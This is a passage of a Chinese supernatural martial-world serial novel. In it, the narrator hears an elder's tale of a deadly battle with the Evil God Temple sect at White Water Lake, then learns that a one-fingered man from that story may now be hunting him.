当尘烟彻底散去时,二傻子手里的砖头掉落下来,正好砸在脚面上,这一下似乎是把二傻子给砸醒了,拔腿就跑。他天天在平安集这边厮混,对地形也非常熟悉,转眼之间就消失在了黑暗中。 我看着二傻子的背影,突然觉得,刚才马车上的箱子被打开了,估计所有人都没看清楚箱子里是什么,就已经倒地不起,就剩下二傻子一个人逃过了一劫。 也就是说,二傻子或许看见了箱子里的东西。 第171章 夤夜交谈 今天这个事,算是闹的有点大了,等到老杂毛的马车彻底消失,人们才围拢了上来,倒在地上的人始终都没能爬起来,也就七爷的状况稍好那么一点,被人搀扶着,径直回了玉方斋。 一直到这时候,我也无法确定老杂毛的马车是不是彻底离开了,小皮闲着没事,就到平安集的附近去溜达,我留在这边等他。 过了好一会儿,小皮回来了,他说平安集附近的确已经看不到那辆马车,老杂毛应该是走远了。 老杂毛虽然是走了,可我就是害怕这件事情没完。他这次来到平安集,靠的就是马车上装的那只箱子。要是不弄清楚箱子里面是什么,下次万一再遇见老杂毛,还是个麻烦事。 我和小皮先回到了寿衣店,程白鹤知道老杂毛走了,这才松了口气。 事情到了这一步,我就考虑是不是先离开平安集,到别的地方去躲一躲,但是想法一说出来,小皮和程一都感觉有点不妥。 这次老杂毛虽然跟到了平安集,但他还是没有确定的把握,吃不准我到底是不是在这儿。平安集这里人情世故还有地形地势都比较复杂,真要是出了什么事情,或许还能找个缓解的机会。 如果跑到别的鸟不拉屎的地方,再被老杂毛给跟上,那麻烦就大了。 他们俩这么一说,我倒是觉得有点道理,思前想后,决定暂时继续留下来。 如今已经是后半夜了,随便收拾了一下,我们就各自去睡觉,我刚刚遇到这样的事情,肯定是睡不踏实的,躺在床上翻来覆去了二十分钟,仍然没有半点睡意。 这时候,程白鹤来了,手里拿着一瓶酒,反手关上房门,说道:“我知道你肯定也睡不着,喝上两杯,解解乏。” 看到程白鹤提着酒瓶子进来,我就知道,他应该是有话要说。自从我来到平安集以后,因为有师傅中间那层关系,程白鹤对我始终不可能像自己人一样,虽然都已经解释了,当年师傅和程家的恩怨和我没什么关系,但程白鹤心里,估计还是有个疙瘩。 所以,平时在寿衣店这里虽然有吃有喝,但程白鹤跟我交流的不是很多。他也不会无缘无故的后半夜跑来跟我喝酒。 我们俩坐在小桌旁边,喝了那么两杯酒,程白鹤果然就开始试探了。 如果不是今天邪神庙的人追到了平安集,可能程白鹤也不会想太多,就因为老杂毛追到了这里,就让程白鹤意识到,邪神庙是铁心要找到我。 “五满,有些事情,咱们心里都亮堂堂的,邪神庙的人追到平安集,我觉得,不是冲着我们家丫头来的。我这个闺女,是我从小看到大的,她就是顽皮,闲不住,但没什么了不得的过往,你觉得呢?” 我点了点头,我之前也想过,老杂毛追到这里,或许单纯就是冲着我来的。 当程白鹤说到这里的时候,我突然就明白他的意思了。在他看来,邪神庙不会无缘无故死揪着我不放,如果因为我把老杂毛给弄伤了,他就满世界的找我,这也不合情理。 因此,程白鹤自然而然的疑心,我身上是不是有什么值得邪神庙注意的地方,或者是东西。 “程大爷,要说起这个,我就真的不知道是怎么回事了。” “我信你,你要是知道的话,也不会一直在装糊涂,但这件事,是挺奇怪,邪神庙那些人,你还是不了解。” 白八门里面老一辈人,基本上都知道邪神庙,其中相当一部分以前还跟邪神庙打过交道。 邪神庙的做事风格非常的明显,他们一直处于比较隐秘的状态,而且人数不算很多。邪神庙和别的混江湖的人,有一个很大的区别,别的人在外头混,把面子和名声看的比什么都重要,因为这是他们立足的根本,比如七爷,哪怕知道老杂毛不好惹,但也要强行出头。 但邪神庙不做这种事,他们非常清楚,打打杀杀只是出于各自的利益,并不是因为什么深仇大恨,所以邪神庙的人即便真吃了亏,也不会为此专门去报仇。 邪神庙的人一旦出手,就必然有自己的目的。 程一之前就告诉过我,她知道的那些关于邪神庙的事情,都是无意中听程白鹤说的,但是程一专门去问,程白鹤就不开口了,估计也是害怕程一偷偷的溜出去找麻烦。 这就意味着,程白鹤是知道很多内幕的,他现在既然主动要跟我谈这些,我也可以顺便探听一点别处打听不到的消息。 两个人喝着酒,程白鹤就说了一些事情。其实,白八门的人和邪神庙的矛盾已经很久了,程白鹤是万花门的嫡传,从历代先辈留下的信息里面,掌握了不少有用的线索。 白八门的人和邪神庙的冲突,一个是因为双方争斗了多年,彼此的亲朋好友都有死伤,最重要的,依然还是葬经终篇。 早些年,程白鹤追踪邪神庙也追踪的特别紧,但是,中间发生了一件事之后,程白鹤就毅然决然的决定,就此罢手,正因为这样,他才不肯把关于邪神庙的很多情况告诉自己的晚辈。 那件事发生在好几十年前,事情刚一发生的时候,看起来跟邪神庙没有丝毫的关系。 程白鹤有个远方的同族,跟他是一辈人,两个人年龄也差不多,叫做程松。 程松的老家在白水湖,是个名不见经传的小地方,当年他在老家惹了祸,待不下去了,恰好程白鹤的生意也渐渐做大,程松就过去投奔了他,因为是同族,程白鹤对程松很好,程松本人有两把刷子,做事也比较细致,很快就成了程白鹤的左膀右臂。 程松跟着程白鹤混了好几年,算是混出一点人样,当时也是战乱纷争的年代,白水湖那边的军阀打了几仗,原先占据白水湖的人都被打跑了,这也就等于程松当年犯的事,基本上过了风头,所以,程松才回家去探亲。 他这次刚刚一回到白水湖,立刻就遇见了很奇怪的事。 第172章 白水湖之谜 程松住的村子,离白水湖大概有十几里的样子,他回去的时候正是隆冬季节,那年的冬天特别冷,连着下了好几场大雪,程松回到家的时候,雪刚刚停。 程松外出避祸这几年,家里没生路,老婆带着孩子跑了,就剩下老娘独居在家中。这种江湖汉子,其实很多都是特别孝顺的,分别几年,母子相见抱头痛哭,程松就打算在老家这边多住上一段日子,陪着老娘把年过了再说。 他在外面做些刀头舔血的勾当,但是回了家以后,又恢复了农民本色,挑水劈柴,洗衣服做饭。 程松回来后没几天,村里就出现了怪事,好多村民晚上同时做了一个梦,梦见一个穿着红衣服的人,站在白水湖的湖边,不许人靠近。 一个人两个人做这样的梦,倒也不稀奇,但几十口子人一块儿做这样的梦,事情就不太对头了。 到了第二天,那些人接着做这样的梦,不仅梦见了穿红衣服的人在白水湖边挡着众人,而且还梦见村里一个叫蒋六子的人,不知道怎么就到了湖里,陷在其中无法自拔,鼻涕一把泪一把的哭。 程松毕竟跟这些人做了多年的邻居,知道这件事以后,就打听了一下。 村子距离白水湖不算太远,以前村里人靠着种地和打猎为生,只是天气好的时候偶尔去钓几条鱼。也就是前几年开始,因为到处都在打仗的原因,附近的县城里一下涌进来很多外地人,蔬菜鱼肉这些东西的需求量顿时加大了很多。 尤其是到了过年的时候,什么物品都比较短缺。所以,一些村民就在临近年关时,就会到白水湖,在冰面上凿个窟窿抓鱼,然后到县城里去卖。 程松在外面混了几年,并不缺钱,所以也不搞这些闲事,只不过村里出了怪事,他才关注了一下。 村民们做的这个梦虽然奇怪,但人人都想赚钱贴补家用,寒冬腊月,山里没有山货,也很难打到什么猎物,除了捕鱼,就没别的什么赚钱的门路了。 所以,村民虽然心里觉得没底,却还是很犹豫。尤其是那个叫蒋六子的村民,他是个猎户,天生阳火很旺,脑袋上连头发都不长,一辈子不信邪。 所以,他还是鼓动村民,一帮人本来就想捞点外财,再加上蒋六子上蹿下跳,几十个人最后还是跑到了白水湖那边。 白水湖冬天捕鱼,就是在冰面上凿窟窿,然后下网,最后时机差不多的时候,用岸边的绞盘把渔网收上来。运气好的时候,一网能打上来好几百斤鱼。 村民们凿开冰面,然后下了网,然后就在岸边坐着聊天,也有人喝酒暖身子,等到时间差不多开始收网的时候,村民们就觉得不对。 网特别轻,收起来毫不费力,这也就意味着,这一次肯定没打上来多少鱼。 果然,渔网收上来一大半的时候,一条鱼都没有,直到网全都被拖上来的时候,有人才隐约看到了渔网里有东西。 那不是鱼,而是一个人,众人急忙辨认了一下,骤然惊觉,那竟然是蒋六子。 刚才等着收网的时候,众人都三五成群的坐着闲聊,谁也没有留意蒋六子去了什么地方,现在看到他竟然从湖里被网了上来,顿时都惊呆了。 蒋六子被拖上来之后,已经断气了,因为天气太冷,人一上来就冻成了冰坨子。 一直到这时候,村民们才想起他们这几天做的梦,一帮人全都慌了,再也顾不上捕鱼,立刻收拾东西回了村子。 这个小村比较闭塞,平时也不怎么见外人,村民之间相处的比较融洽,平时村民如果死去,一般都是因为上了岁数或者是得了病,很少有非正常死亡,蒋六子的死,让众人的心里蒙上了一层阴影。 程松算是村民里面最有本事,也最有见识的人了,蒋六子出事之后,村民们没了主见,找程松过去帮忙看看,蒋六子到底是怎么回事。 蒋六子已经死了,他不可能自己说出事情的经过,等到程松去看了之后,很快就发现了村民忽略了一个现象。 蒋六子被抬回来以后,就放在屋里,屋子里有火盆,温度不算高,但也绝对不算低。程松发现,蒋六子身躯外面的冰都化了,皮肤看起来也解了冻,但是,他的肌肉,包括内脏,其实还是冻的很结实。 程松就觉得这不正常,随即他就注意到,蒋六子之所以被冻的这么结实,并不完全是被低温冻结的,他的皮肤微微呈现乌青色,看着确实是冻成了这样,但只有程松这样的内行才能分辨出来,蒋六子是中了癸水阴雷。 癸水阴雷这种东西是一种术,只有精通五行的人才会用。 也就是说,蒋六子是被人弄死的。 看到这里的时候,程松所有的注意力立刻都被吸引了。因为他跟着程白鹤这几年里,正好是白八门到处寻找邪神庙的关键时刻,双方暗地里动过几次手,白八门这边就有人被癸水阴雷给伤过。 中了癸水阴雷,身上的阳火会在很短时间里被消耗掉,人没了阳火,也就等于没了阳气,肯定活不下去。 程松亲眼见过那个被癸水阴雷给弄死的人,虽然蒋六子现在的状况不是那么明显,但程松可以肯定,他一定死于癸水阴雷。 这是个非常关键的线索,从大概一年前开始,邪神庙的人就踪迹全无了,白八门到处搜捕寻找,却没能找到任何的蛛丝马迹。而程松无意中的发现,就成了很关键的线索。 一时间,程松也没心思在家过年了,他不敢把实情说出来,只是告诉村民,以后别到白水湖那边去。 随后,程松把消息传递给了程白鹤,那时候,一帮子白八门的人正愁找不到邪神庙的线索,得知这件事后,不少人都跟着程白鹤一起到了白水湖。 当时正在冬天,很多事情都不方便,程白鹤那帮人是硬着头皮进行勘察的。 经过一番非常细致的勘察之后,众人就有了一个挺惊人的发现。 第173章 雪橇少年 白水湖这边平时没有什么人来,村里的村民也就是偶尔来钓钓鱼,可以说是人迹罕至。 这种地方本来应该是没有太多的人为痕迹的,但众人一勘察,就发现了一个看似粗陋却实则精妙的排水系统。这个排水系统在湖水与湖岸边缘的自然孔洞相连,非常隐蔽。 如果排水系统在运行的话,就会让一个湖岸边的裂痕内部进不去水。从表面上看,这个裂痕位于湖水下方,是被湖水淹没的,但深入到裂痕内部,才能发现里面并没有水。 而且,通过白水湖具体的位置,周围的山势走向,还有自然环境,就能推测出,这是一块风水走势比较特殊的地方,再参照五行术数的一些说法,很适合人修行癸水阴雷。 程白鹤他们顿时惊喜交加,认定了这里肯定有邪神庙的人。白水湖这里很适合邪神庙的人修行癸水阴雷,而且相当的偏僻,人躲在湖水下方的缝隙里,谁都不可能找得到。 一直到这时候,程白鹤和程松才明白,村民们就因为到白水湖这里抓鱼,才会被邪神庙的人警告。好几十口子人同时做一个梦,肯定是有原因的。 尤其是那个蒋六子,每次都是他组织村民到白水湖这边来,蒋六子的死,可以说是非常严厉的警告。 由此,白水湖就被程白鹤他们这帮人给死死的盯上了,这一次,白八门来的人已经不少了,为了保险起见,还是从别的地方又招揽了一些人,等大队人马聚齐以后,就正式开始动手。 具体的过程反正非常的曲折,最后,他们真的就在湖水下面发现了邪神庙的人。这个窝点很隐秘,一共有十来个邪神庙的人。 邪神庙一向行踪不定,有时候真找到他们,也就能找到两三个,这十来个人可以说是很重大的发现了。 毫无疑问,邪神庙的人不可能束手就擒,双方又发生了非常激烈的搏杀。这一次白八门准备的相当充分,来了很多人,尽管邪神庙那十多个人都是硬骨头,却架不住白八门的人多。 那场搏杀,非常残酷,邪神庙的人知道不拼的话就是一条死路,人人都拿出玩命的劲头,虽然邪神庙的人最后死伤惨重,但白八门也付出了沉重的代价。 白八门费了很大的力气,最终快要把邪神庙这些人一网打尽的时候,从贴近那道裂缝的湖水下,咕嘟嘟的就浮上来一尊神像。 湖水到处都结冰,也只有贴近缝隙的这片冰层刚才被打开了,这尊神像浮起来的时候,白八门的人杀的眼红,都没有留意。 这时候,从远处行驶过来一架雪橇,雪橇是四五条大狗拉动的,来的非常快,雪橇上是一个看着大概十几岁的少年。 此时的白水湖畔,到处都是斑驳的血迹,还有横七竖八的尸体,这个驾驭雪橇的少年肯定不是普通的乡下孩子,他已经看到这边已经闹出人命了,不仅不躲闪,反而来的更快。 雪橇来的特别猛,如同冰天雪地里的一道旋风,唰的就冲了过来。邪神庙就剩下三个人还能动弹,本来已经没有任何退路了,这架雪橇冲过来的同时,就把围攻他们的人暂时给冲散了。 那个少年匆忙的招呼三个人赶紧登上雪橇,但这么一架雪橇,拉上三个已经重伤的人,肯定跑不远。 那三个人一起朝着少年喊了几声,少年虽然不情愿,但还是驾驭雪橇,绕了一个圈子,重新冲了过来。 这么一冲,又把白八门的人给冲散了,趁着这个机会,那三个重伤的人从湖水中捞起神像,架到了雪橇上面,然后催着少年赶紧走。 看的出来,那个少年虽然年龄还不大,却很重情义,明知道留下来是死路一条,却不肯丢下三个重伤的人。最后,那三个人彻底急眼了,硬逼着少年走,无奈之下,这少年才驾驭雪橇,急速的离去。 三个重伤的人唯恐白八门的会追击少年,发了疯一样的阻拦,程白鹤知道那少年肯定有来历,而且,这样紧张的形势之下,他还要冒险带着那尊神像离开,必然有蹊跷。 程白鹤当机立断,带着程松和其他几个人,起身就去追赶那个少年。剩下的人留在原处,对付那三个已经重伤的。 少年驾驭着雪橇,本来应该跑的很快,但那尊神像应该是有点分量,而且,神像被装在雪橇上之后,几条拉着雪橇的狗似乎都有点躁动,跑的东倒西歪的,如此一来,雪橇的速度就慢了。 程白鹤他们紧追不舍,追出去了十多里地,厚厚的积雪下,有一条起伏很大的沟,那个少年之前就从这里经过,知道沟的深度,他不得不再次放慢了速度。 就这样,程白鹤他们终于追上了雪橇。 那个少年看起来大概就是十六七岁的样子,个子很高,但特别瘦,脸庞上还有一丝尚未褪去的青涩。 程白鹤只觉得,少年跟邪神庙肯定是有关系的,但具体是什么关系,现在还说不准。 程白鹤虽然混迹江湖,却不是那种嗜杀的凶残之辈,他只想抓住这个少年,并不想要对方的命。所以,在拦住了雪橇以后,程白鹤就和少年说,让他从雪橇下来,自己保证不会伤害他。 这少年岁数不大,却有一种天生的倔强,白水湖那边的同伴都死的差不多了,少年对程白鹤他们充满了敌意,一言不发,根本不肯投降。 程松只害怕夜长梦多,带着几个人就要抓人,少年在殊死反抗,他的根基其实挺扎实,只不过太年轻了,缺乏火候和历练,在反抗中一个不慎,右手的四根手指就被刀子给砍掉了,只剩下了一根大拇指。 尽管如此,少年还是没有任何要投降的意思,程白鹤觉得已经控制了大局,他没有动手,就在旁边跟少年说,让他别再反抗。 在场的人都觉得,这少年已经是案板上的肉,可以随意宰割,谁知道,在众人想要直接上去抓人的时候,周围的积雪突然像是被一股很大的力量给掀动了起来。 这股力量相当强劲,似乎根本就不是人力可以抗衡的,程白鹤站在外围,积雪被掀动的同时,他也让这股强劲的力量直接掀了个头下脚上,从山沟的边缘滚了下来。 当程白鹤翻身爬起,抬头朝上面望去的时候,一下子就惊呆了。 第174章 不祥之兆 程白鹤看到飘洒的积雪中,本来放在雪橇上的那尊神像,不知道什么时候已经矗立在雪地里。神像比正常人高出两个头,身躯也粗了一圈,在程白鹤立身的地方望去,神像真的如同一尊天神,突然从天上降临到了凡间。 这一瞬间,程白鹤就感应到了极度的危险,刚才把他掀下山沟的那股力量,强大无匹,眼前这几个人加到一起,也不可能是对手。 感应到危险的同时,程白鹤就想跟程松他们示警,让他们不要妄动。 然而,程白鹤还是迟了一步。 具体的情况,程白鹤不知道,飘洒的积雪也一定程度影响了他的视线,短短一二十秒之间,几个围着少年的人,好像都莫名其妙的倒下了。 而且,他们倒地之后,程白鹤还能听到一阵一阵沉闷的闷响,就如同在雪地里炸开了一个一个的爆竹。 一股一股的鲜血,凌空飞起,血花在半空中绽放,又纷纷落地。程白鹤的心里一惊,起身就要爬上去帮忙。 他还没有爬上去,程松已经踉跄着退到了山沟的边缘,两个人连一句话都来不及说,程白鹤看到程松的脑袋,仿佛一颗小小的炸弹,嘭的一声爆开了。 那绝对不是程白鹤的幻觉,程松的脑袋的确是爆开了,像是一颗已经熟透的西瓜,炸的四分五裂,血迹连同白花花的脑浆洒的到处都是。 紧跟着,程松的身躯也从上面滚落了下来,恰好滚到了程白鹤的脚下。 混江湖的人,见惯了生死,也见惯了残酷的现实。程白鹤并不是那种初出茅庐的新手,可是,他看着自己同族的兄弟血淋淋的躺在自己脚下,脑袋完全炸的碎裂,身躯上面只剩下一截血肉模糊的脖子的时候,程白鹤就有种说不出的畏惧。 他很清楚,这股强大而且可怕的力量,是所有人都望尘莫及的,就算自己后半辈子什么都不干,天天练功,天天修行,也绝不是对手。 程白鹤怕的要死,但他知道,自己也不可能逃得掉。 不过,就在程白鹤胆战心惊的时候,那尊矗立在积雪中的神像,噗通一声重新倒在了雪橇上,紧跟着,雪橇应该是重新被拉动了,听着唰唰的声音,程白鹤就知道,驾驭雪橇的少年已经迅速的离去。 程白鹤觉得,或许就是自己刚才没有动手,一直在劝说那个少年不要反抗,自己才侥幸留了一条命。 他从浅浅的山沟重新爬上去的时候,眼神就停滞了。 他一共带了六七个人,都是程家远支的同族,可此时,这六七个人,无一例外的倒在了血泊中,有的和程松一样,脑袋直接炸裂了,有的连上半截身躯都血肉模糊。 也就是在这一刻,程白鹤突然产生了退缩的念头。 他意识到,邪神庙毕竟是祖师爷的嫡系子孙开创的,拥有相当的底蕴,就算邪神庙的人数不多,但想要把他们一网打尽,几乎也是不可能的事情。 要是继续去找邪神庙的麻烦,或许下一次就不会有这么幸运。 程白鹤当机立断,从今以后,绝对不再插手邪神庙的事情。 这次白水湖火拼,或许算是一个转折点,除了程白鹤之外,也有几个老辈人感觉这样下去不行。尽管白八门里的一些年轻人不知道天高地厚,很不服气,但几个老辈人在世的时候,就一直压制他们,不许再找邪神庙的麻烦。 等到那一代的老辈人都过世了以后,先前的年轻一代当家做主,都还记得邪神庙的事,邪神庙和葬经终篇有着紧密的关联,所以他们还是想要继续追查邪神庙。 这些人来找过程白鹤,程白鹤都一一婉拒了,他经历过了白水湖火拼,事后再三顿悟,明白不管是邪神庙,还是葬经终篇,都是虚无缥缈的,不如自己踏踏实实的活着。 到了后来,程白鹤就再也没有染指过邪神庙,只是把这些事情,当成故事,偶尔跟自己的晚辈讲一讲。谁知道,程一天生就不让人省心,知道了一些邪神庙的事情以后,就千方百计的打探消息,瞒着程白鹤,自己去冒险。 可以说,程白鹤就从白水湖之后,没有再跟邪神庙的人直接有关什么接触,时间久了,追逐名利的心更加淡薄,现在安于现状,也不愿意惹什么麻烦。 “程大爷,当年那个逃出去的少年,是什么身份,以后你又见过他吗?” “没再见过他,我和邪神庙的人,这么多年都没接触过,怎么可能知道那个少年的身份。” 我想了想,白水湖一战,邪神庙死了十多个人,最后三个人拼了命也要保着那个少年带着神像逃走,这足以说明,少年的身份不简单。 白八门的其他人,其实事后也千方百计的在打探少年的消息,只不过都没有什么结果,那个少年就如同人间蒸发了一样。 “五满,我这次跟你闲聊,倒也不是想从你嘴里套问什么消息,我就是觉得,这件事,好像没那么简单啊。” “程大爷,你的意思,我明白。” “你明白就好,凡事多思谋一步,总没错的。你想想,白水湖火拼,邪神庙一下子死了十来个人,这是以前从来没有过的,可事情过去以后,邪神庙的人也没去找任何人复仇。你在邪神庙,捅了那个老杂毛一刀,对方也没死,可偏偏到处找你,这是为什么?” “我也……不知道是为什么。” 程白鹤说的话,我其实考虑过,只是一直没找到什么答案,现在两个人又说起这些,就让我心里隐隐不安。 两个人把一瓶酒喝完,程白鹤就走了,我迷迷糊糊的睡了一会儿,天亮之后就醒了。 那个老杂毛既然找上门了,有些事情我就得多了解了解,昨天只有傻子可能看到了马车上那口箱子里的东西,我就打算去找傻子盘问盘问。 我叫上小皮,一起出门之后,就在平安集这里到处寻找二傻子。 第175章 箱子里的东西 二傻子平时一直都在平安集到处的游逛,要是没什么意外,好好找一找,肯定是能找到的。 我和小皮出门之后,一边找二傻子,一边还在打听昨晚那件事情的余波。 在平安集这地方,多少年以来七爷都没有吃过亏,昨天的事情不算是个小事,到处都在议论。我和小皮发现,七爷名下那座玉方斋,今天也罕见的关张了,一直没有开门。 平安集里那些平时和七爷走的近的人,也不免有点紧张,他们不清楚昨天到底是意外,还是专门有人来找七爷的麻烦。 我们俩走了一路,听到的都是风言风语,也没有人能说出点实打实的内情。 我心里始终有些忐忑,那个老杂毛昨天晚上又算是吃了点亏,他虽然走了,但谁也不能保证,他不会再来。 两个人在平安集来来回回兜了两圈,却没看到二傻子,小皮看了看天色,说道:“现在还不到吃饭的时候,二傻子不知道溜到哪儿去了,不过,到吃饭的点儿,他肯定会回来,要不咱们再等等。” “那就再等等吧。” 我和小皮就放慢了速度,来回游逛,到了中午差不多十二点的时候,平安集的人基本都去吃饭了,几个小馆子人满为患。 平常到了这个时候,二傻子都会在几个小馆子那边到处转圈,蹭吃蹭喝,我和小皮又等了十来分钟,果然,二傻子拖着两桶清鼻涕出现了。 我和小皮迎了上去,小皮平时老是逗二傻子玩儿,两个人很熟,一见面,二傻子就跟小皮要吃的。 “饿了?想吃肉不?” “想……想……” “那你等着,我去买。” 小皮跑到小馆子里头,买了二斤熟牛肉,然后带着二傻子来到一个很偏僻的角落里,纸包一打开,肉香四溢,二傻子哈喇子哗哗的流,伸手就要拿。 “先等等。” “哥……我吃肉……吃肉……” “我问你个事,你说清楚了,才给你吃肉。” “啥事……” “昨天晚上,那边有人打架,你看到了不?你别说没看到,我可是瞅的真真儿的,你拿着一块砖头,扔到一个老头儿脑袋上了。” “那……那老头儿吵我睡觉……” “我知道,那老头儿活该挨砖头,来,先吃块牛肉。” 小皮拿了块牛肉给二傻子,二傻子塞到嘴里,没嚼两下就进了肚,眼睛像是长了钩子,盯着小皮手里的纸包。 “你砸了那老头儿一砖头,后来,他们就打起来了,你在旁边看着的,是不是?” “是……” “那老头儿的马车上,有一口箱子,箱子后来打开了,里头是什么东西?” 二傻子本来眼巴巴的等着小皮给他肉吃,有问必答,可是一听到这个问题,二傻子的眼神顿时一滞,就不开口说话了。 “说啊?怎么不说了?” 二傻子咕咚咽了口唾沫,贴着墙根朝旁边慢慢的退,看样子,他是想走,只不过还是馋得慌,两条腿不听使唤。 我和小皮看到他这样子,也没挽留,打开纸包,一人吃了一块牛肉。二傻子退到距离我们六七米远的地方,就走不动了,可怜巴巴的望着我和小皮。 我们俩也不搭理他,自顾自的吃,过了一会儿,二傻子就忍不住了,重新走了过来。 “哥……我吃肉……” “问你的话你都不答,还想吃肉?没门,赶紧走。” “哥……吃肉……” “那我再问你一句,马车上的箱子里,是什么东西?” “是……” “来,别急,吃块肉再说。” 我和小皮都能看得出来,傻子当时可能真的看到了箱子里的东西,只不过,傻子肯定害怕,所以才畏畏缩缩的不敢说。 我们俩没有勉强他,就慢慢的问他,给他肉吃,一来二去,傻子就没有那么紧张了,加上嘴馋,最终还是说了出来。 “箱子里……有个人……” “箱子里有个人?啥样的人?” “在箱子里躺着的……就这样……”傻子就地一躺,两只手放在自己的胸口,然后闭上眼睛,说道:“那人就这么……就这么躺着的……” “是男的,还是女的?” “男的……” 傻子当时就被吓住了,因为这个身上散发的那种气机,就算傻子也会害怕。再加上傻子的表达能力有限,描述不清楚箱子里那个人到底是死是活,是多大的年纪和长相。 我和小皮对视了一眼,二傻子这种人,脑子不是很正常,有些普通人害怕的东西,二傻子不一定能感应到危险。 如果是二傻子都觉得害怕,那么这东西或者说这个人,就一定很可怕。 可是,二傻子当时晕头晕脑的,除了看见箱子里是个男人之外,也说不出别的什么有用的线索了。 “给,拿去吃吧。”小皮把纸包里的肉都递给二傻子,二傻子乐了,拿着纸包就地一蹲,就不停的朝嘴里塞。 在二傻子这里,虽然算不上有多大的收获,但是最起码知道了箱子里装着一个人。 我和小皮之前就推测过,老杂毛本人不可能有那么大的本事,他到平安集这边来,绝对有别的依仗。如今看起来,老杂毛所依仗的,就是箱子里的那个人了。 “这事还是说不清楚啊。”小皮挠了挠头,说道:“箱子里那位爷,是啥来历,见不得人么?非要躲在箱子里头?” “不好说,现在连那人是死是活都不知道。” “不可能是个死人吧,要是个死人,怎么会那么厉害?死了都这么厉害,要是活着的时候呢?不就天下无敌了?” “有点道理,老杂毛是邪神庙的,他带来的人,无论死活,多半也是邪神庙的,你三大爷说过,白八门和邪神庙斗了那么久,要是邪神庙真有这种人物,白八门当年肯定要吃更大的亏,还有……” “哥……” 我和小皮一边说话,一边慢慢的朝回走,冷不防二傻子又在后面喊了一声。 我们俩回过头,二傻子嘴里塞着肉,嘟囔道:“哥,箱子里……箱子里那个人的手……” “那个人的手?手怎么了?” “他的手,是这样的……”二傻子伸出自己的手,蜷缩起四根手指,说道:“他的手,就剩一根手指头了……” “就剩一根手指头?” 我心头猛然一震,顿时就想起了当年白水湖火拼的往事。 第176章 夜敲门 程白鹤昨天跟我讲起白水湖的往事时,我的感触并没有那么深,毕竟那是很早以前的事情了,而且跟我也没有什么直接的关联。 但是,程白鹤说到的那个驾驭雪橇的少年,还是给我留下了比较深刻的印象。 我甚至能联想到,在一片冰天雪地里,那少年驰骋如风的情景。 程白鹤说了,那个少年在厮杀之中右手被砍掉了四根手指,就剩下了大拇指,这是个非常显著的生理特征,估计任何人见到只剩下一根手指的人,都不会忘记。 可我没想到,事情竟然真的就是这么巧。 虽然时间过去了那么久,但有的事情是不需要过多猜测的,那个右手就剩下一根手指的少年是邪神庙的,老杂毛也是邪神庙的,这基本上就可以判断,木箱子里那个右手只有一根手指的人,就是当年程白鹤所见过的那个少年。 我虽然没有亲眼目睹白水湖火拼,只是听程白鹤讲述,已经能够感应的出来,那个少年绝非寻常之辈。他少了四根手指,隐忍负重了这么多年,等再出现的时候,实力肯定强的可怕。 一想到这里,我就忍不住打了个冷战,很害怕老杂毛会去而复返。 就因为我不放心,小皮专门陪着我,在平安集四处又仔仔细细的盯了半天,查看有没有什么蛛丝马迹。 到了傍晚,我和小皮回到了寿衣店,把今天所获取的信息和程白鹤说了一遍。 程白鹤听到老杂毛的马车上,是一个右手只有一根手指的人,脸色顿时就变了,他肯定也顺藤摸瓜想起了当年白水湖畔的那个少年。 不过,程白鹤也认真的推敲了一番,他觉得,我在平安集这里应该没有暴露,否则的话,老杂毛不会那么轻易的就离开了。 而且,老杂毛估计不会为了和七爷之间的过节,再跑回来专门寻仇,那不是邪神庙的做派。 话虽然是这么说,但我还是不踏实,之后的十多天时间里,没事就在平安集附近来回的转悠,专门盯着从外面到平安集来的人。 七爷那边,似乎也没有别的什么意外,玉方斋关了两天,跟着就正常营业了。平安集里的一些人私底下说,七爷当天吃了大亏,不知道伤的重不重,更不知道还不能主持平安集这里的事务。 这些流言传的广了,就让七爷非常恼火,为了安定人心,也为了不让自己的招牌彻底倒塌,七爷亲自露面,在平安集走动了一下,专门到一些集市里的店铺看了看,表明自己平安无事。 我在平安集专门守了有十来天,一直都没有发现老杂毛的踪迹,我觉得,老杂毛在平安集这里扑了个空,应该是到别的地方去寻找了。 事情虽然暂时没有什么变动,可是我心里的疑团却像是一个毛线球,越缠越紧,越缠越乱。 老杂毛带着那个一根手指的人,究竟为了什么在找我?如果不是寻仇,还有别的理由和动机吗? 我始终想不明白这个问题。 这天中午,我们在后院这里吃了午饭,自从我来到平安集以后,小皮天天就跟我混在一起,跑东跑西的,也没怎么好好的看店,幸亏寿衣店平时没什么生意,等吃过午饭,小皮就去前面的躺椅上打盹,不到十分钟时间,前头就传来了说话的声音。 紧跟着,小皮匆匆的跑到后院,说道:“三大爷,七爷来了……” “他来做什么?” “怎么,我就不能来看看?” 程白鹤还没来得及迎出去,七爷就带着两个人,拄着拐杖径直走到了后院。 程白鹤跟七爷不对付,平时很少来往,只不过程白鹤不愿意惹麻烦,只要七爷不是太过分,他也不怎么计较,所以彼此的面子上还过得去。 “能啊,怎么不能。”程白鹤呵呵一笑,说道:“七爷是贵客,做的又是大买卖,我这小店想请七爷,也请不来呢。” “请我来做什么?给我做寿衣?” “七爷,言重了。” 程白鹤跟七爷说话的时候,我和小皮还有程一就在一旁看着。虽然七爷拄着拐杖,尽力想要走的平稳一些,但我们都能看得出来,他那天晚上受的伤不轻,肯定是伤到腿了,直到现在还没有痊愈。 “七爷,坐吧,小皮,去给七爷泡杯茶。” “坐倒是不坐了,我也就是随便看看。前些日子,出了点麻烦,最近就老是有人风言风语的,说我这把老骨头扛不住了,我不得亲自出来,给自己正正名么?” “七爷是做大事的人,风言风语的,何必介意?” “舌头根子底下压死人啊,我是不想介意,可下头那么多人,还指着我这块招牌混饭吃呢。老程,别怪我说话重,这些日子,要是店里来了外人,你可不要瞒着,我怕那个被打跑的老东西不死心,还会回来伺机报复。” “七爷,我这里没有外人。” “没外人就好。” 七爷和程白鹤本来就面和心不合,说了几句,七爷就走了。 等七爷出门以后,我也跟着跑去找了杨大夫一趟,我在平安集这里养伤养了这么久,自我感觉良好,石头如今还昏迷着,大甜瓜也不知道我的下落,我就想着,要是伤势痊愈,好歹也要回去给大甜瓜报个平安。 杨大夫看了看我脑袋上的伤,觉得恢复的很好,不用再上药了。 我回去以后,就和程一说了说自己的打算,想去石头那边看看。 “怎么,伤养好了就打算走了?” “不是那个意思,我就是回去跟人打个招呼,毕竟出门这么久了。” “腿在你自己身上长着,你走不走,来不来的,谁还能管得住你?” 我从程一的话里听出了不满,说实话,程一对我很好,何况,我也没有打算一去不回,因为我总觉得,平安集这里的事情还没有完。老杂毛说不准什么时候就又绕回来了,面对老杂毛,是很危险,但是同样也是获取线索的好机会。 